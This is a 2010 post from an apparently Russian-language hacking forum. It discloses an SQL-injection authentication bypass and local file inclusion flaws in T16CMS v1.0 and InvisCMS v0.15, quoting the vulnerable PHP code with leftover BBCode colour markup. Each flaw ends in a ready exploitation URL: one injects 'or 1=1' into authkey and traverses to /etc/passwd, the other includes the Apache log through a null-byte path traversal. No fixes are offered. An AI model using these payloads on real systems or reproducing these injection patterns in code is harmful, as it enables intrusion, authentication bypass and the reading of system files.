Показать сообщение отдельно

  #412  
Старый 02.07.2010, 01:08
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами: 9061820

Репутация: 134
По умолчанию

T16CMS v1.0

Download: http://code.google.com/p/t16cms/

SQL-иньекция{обход авторизации}(mq==off):

Уязвимый файл:

./t16cms/php/user.php

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]get_reg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) {

global[/
COLOR][COLOR="#0000BB"]$dbhost[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbname[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbuser[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbpasswd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbprefix[/COLOR][COLOR="#007700"];

echo[/
COLOR][COLOR="#0000BB"]$inp[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]$inp[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]){

if (@isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'authkey'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$_authkey[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'authkey'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$_authkey[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'SELECT * FROM `_users` WHERE `authkey` = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_authkey[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' LIMIT 1'[/COLOR][COLOR="#007700"];

echo[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]mysql_connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dbhost[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbuser[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dbpasswd[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SET NAMES cp1251'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dbname[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);

while([/
COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"])) {

if ([/COLOR][COLOR="#0000BB"]get_right[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'access'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'access'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])){

global[/COLOR][COLOR="#0000BB"]$site_user[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$site_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

}else{echo[/COLOR][COLOR="#DD0000"]"Вы видимо не активированный"[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]//уголь

[/COLOR][COLOR="#007700"]};

[/
COLOR][COLOR="#0000BB"]mysql_free_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

}}

}
else {

...[/
COLOR][/COLOR
LFI(авторизация):

Уязвимый файл:

./t16cms/cp/index.php

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]];

...

[/
COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"modules/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"];

...

if ([/COLOR][COLOR="#0000BB"]get_reg[/COLOR][COLOR="#007700"]()==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#FF8000"]//авторизация, код выше

[/COLOR][COLOR="#007700"]...

include[/
COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR
Эксплуатация(обе):

./t16cms/cp/index.php?authkey=1'+or+1=1--+&module=../../../../etc/passwd​

InvisCMS v0.15

Download: http://code.google.com/p/inviscms/



LFI(mq==off):


Уязвимый файл:

./dx.php

Код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

switch ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'x'[/COLOR][COLOR="#007700"]):

...

case[/
COLOR][COLOR="#DD0000"]'0x21'[/COLOR][COLOR="#007700"]:

[/
COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]#die_r($_GET);

[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frm_name'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frm_name'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]&& isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'result'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'result'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$brain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path_to_site'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'/lib/core/others/forms/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frm_name'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'.inc'[/COLOR][COLOR="#007700"];



if
([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$brain[/COLOR][COLOR="#007700"]))

{

@include([/COLOR][COLOR="#0000BB"]$brain[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]#die(stripslashes($_GET['result']));

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$jsondecoder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'result'[/COLOR][COLOR="#007700"]]));

[/
COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call_user_func[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frm_name'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'_main'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

}else{

[/
COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

}

print[/COLOR][COLOR="#0000BB"]$jsonencoder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]);

break;

[/
COLOR][/COLOR
Эксплуатация:

./dx.php?x=33&frm_name=../../../../../../apache/log%00&result=33серебреника​
 
Ответить с цитированием